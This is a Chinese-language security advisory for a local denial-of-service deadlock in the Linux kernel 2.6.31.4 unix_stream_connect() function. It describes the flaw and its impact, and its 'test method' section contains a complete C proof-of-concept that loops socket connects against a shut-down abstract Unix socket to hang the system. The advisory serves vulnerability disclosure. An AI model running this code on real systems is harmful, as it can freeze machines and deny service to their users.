Linux Kernel ‘unix_stream_connect()’本地拒绝服务漏洞

漏洞起因
输入验证错误
 
影响系统
Linux kernel 2.6.31.4
 
不受影响系统
 
危害
本地攻击者可以利用漏洞使系统挂起。
 
攻击所需条件
攻击者必须访问Linux。
 
漏洞信息
Linux是一款开放源代码的操作系统。
Linux net/unix/af_unix.c文件包含的"unix_stream_connect()"函数中存在一个死锁错误,通过执行部分套接字操作可导致拒绝服务攻击。
 
测试方法
int main(void)
{
 int ret;
 int csd;
 int lsd;
 struct sockaddr_un sun;
 /* make an abstruct name address (*) */
 memset(&sun, 0, sizeof(sun));
 sun.sun_family = PF_UNIX;
 sprintf(&sun.sun_path[1], "%d", getpid());
 /* create the listening socket and shutdown */
 lsd = socket(AF_UNIX, SOCK_STREAM, 0);
 bind(lsd, (struct sockaddr *)&sun, sizeof(sun));
 listen(lsd, 1);
 shutdown(lsd, SHUT_RDWR);
 /* connect loop */
 alarm(15); /* forcely exit the loop after 15 sec */
 for (;;) {
  csd = socket(AF_UNIX, SOCK_STREAM, 0);
  ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun));
  if (-1 == ret) {
   perror("connect()");
   break;
  }
  puts("Connection OK");
 }
 return 0;
}
 
厂商解决方案
目前没有详细解决方案提供:
http://www.kernel.org/
 
漏洞提供者
Tomoki Sekiyama

发表评论?

0 条评论。

发表评论